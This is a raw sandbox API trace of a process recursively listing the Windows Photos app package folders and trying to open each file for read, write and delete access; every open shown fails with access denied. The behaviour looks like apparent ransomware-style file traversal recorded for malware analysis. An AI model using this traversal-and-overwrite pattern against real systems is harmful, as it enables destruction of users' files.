	[0091.137] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0091.137] wcscmp (_String1="PhotosWideTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0091.137] wcscmp (_String1="PhotosWideTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0091.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x2d85ee8
	[0091.138] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.138] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.138] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosWideTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-200.png"
	[0091.138] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-black_scale-200.png")) returned 0x20
	[0091.141] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.141] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.141] GetLastError () returned 0x5
	[0091.141] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.142] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0091.142] wcscmp (_String1="PhotosWideTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0091.142] wcscmp (_String1="PhotosWideTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0091.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x2d85ee8
	[0091.142] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.142] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.142] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosWideTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-200.png"
	[0091.142] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-white_scale-200.png")) returned 0x20
	[0091.147] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.147] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.147] GetLastError () returned 0x5
	[0091.147] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.148] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.148] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b019c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe5b019c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe5b019c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.scale-200.png", cAlternateFileName="")) returned 1
	[0091.148] wcscmp (_String1="PhotosWideTile.scale-200.png", _String2=".") returned 1
	[0091.148] wcscmp (_String1="PhotosWideTile.scale-200.png", _String2="..") returned 1
	[0091.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x120) returned 0x4782d68
	[0091.148] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.148] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.148] wcscat (in: _Dest=0x4782d68, _Source="PhotosWideTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-200.png"
	[0091.148] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoswidetile.scale-200.png")) returned 0x20
	[0091.148] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.148] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoswidetile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.148] GetLastError () returned 0x5
	[0091.148] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.148] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.148] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b019c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe5b019c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe5b019c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.scale-200.png", cAlternateFileName="")) returned 0
	[0091.149] FindClose (in: hFindFile=0x477afa8 | out: hFindFile=0x477afa8) returned 1
	[0091.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ce18) returned 1
	[0091.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ce80) returned 1
	[0091.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d448) returned 1
	[0091.149] FindNextFileW (in: hFindFile=0x46a7310, lpFindFileData=0x470f720 | out: lpFindFileData=0x470f720*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x716c6041, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xb0f31d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x716c6041, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.149] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.149] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x4782d68
	[0091.149] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0091.149] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0091.150] wcscat (in: _Dest=0x4782d68, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x120) returned 0x2d85ee8
	[0091.150] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.150] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.150] wcscat (in: _Dest=0x2d85ee8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ce18
	[0091.150] FindFirstFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502ce18) 

Thread:
	id = 861
	os_tid = 0xd68

	[0082.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x47739b0
	[0082.067] wcscpy (in: _Dest=0x47739b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.068] wcscat (in: _Dest=0x47739b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.068] wcscat (in: _Dest=0x47739b0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f988
	[0082.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d169f9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7350
	[0082.069] wcscmp (_String1=".", _String2=".") returned 0
	[0082.069] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d169f9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.069] wcscmp (_String1="..", _String2=".") returned 1
	[0082.069] wcscmp (_String1="..", _String2="..") returned 0
	[0082.069] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d3cc52, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d3cc52, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d3cc52, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.069] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.069] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4765c10
	[0082.069] wcscpy (in: _Dest=0x4765c10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.069] wcscat (in: _Dest=0x4765c10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.069] wcscat (in: _Dest=0x4765c10, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.040] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.040] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.041] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.041] GetLastError () returned 0x5
	[0091.041] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765c10) returned 1
	[0091.041] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d169f9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d169f9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d169f9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.041] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.041] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778660
	[0091.041] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0091.041] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0091.041] wcscat (in: _Dest=0x4778660, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.041] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0091.041] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.041] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.041] GetLastError () returned 0x5
	[0091.041] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0091.042] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d3cc52, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d3cc52, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d3cc52, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.042] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.042] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778060
	[0091.042] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0091.042] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0091.042] wcscat (in: _Dest=0x4778060, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
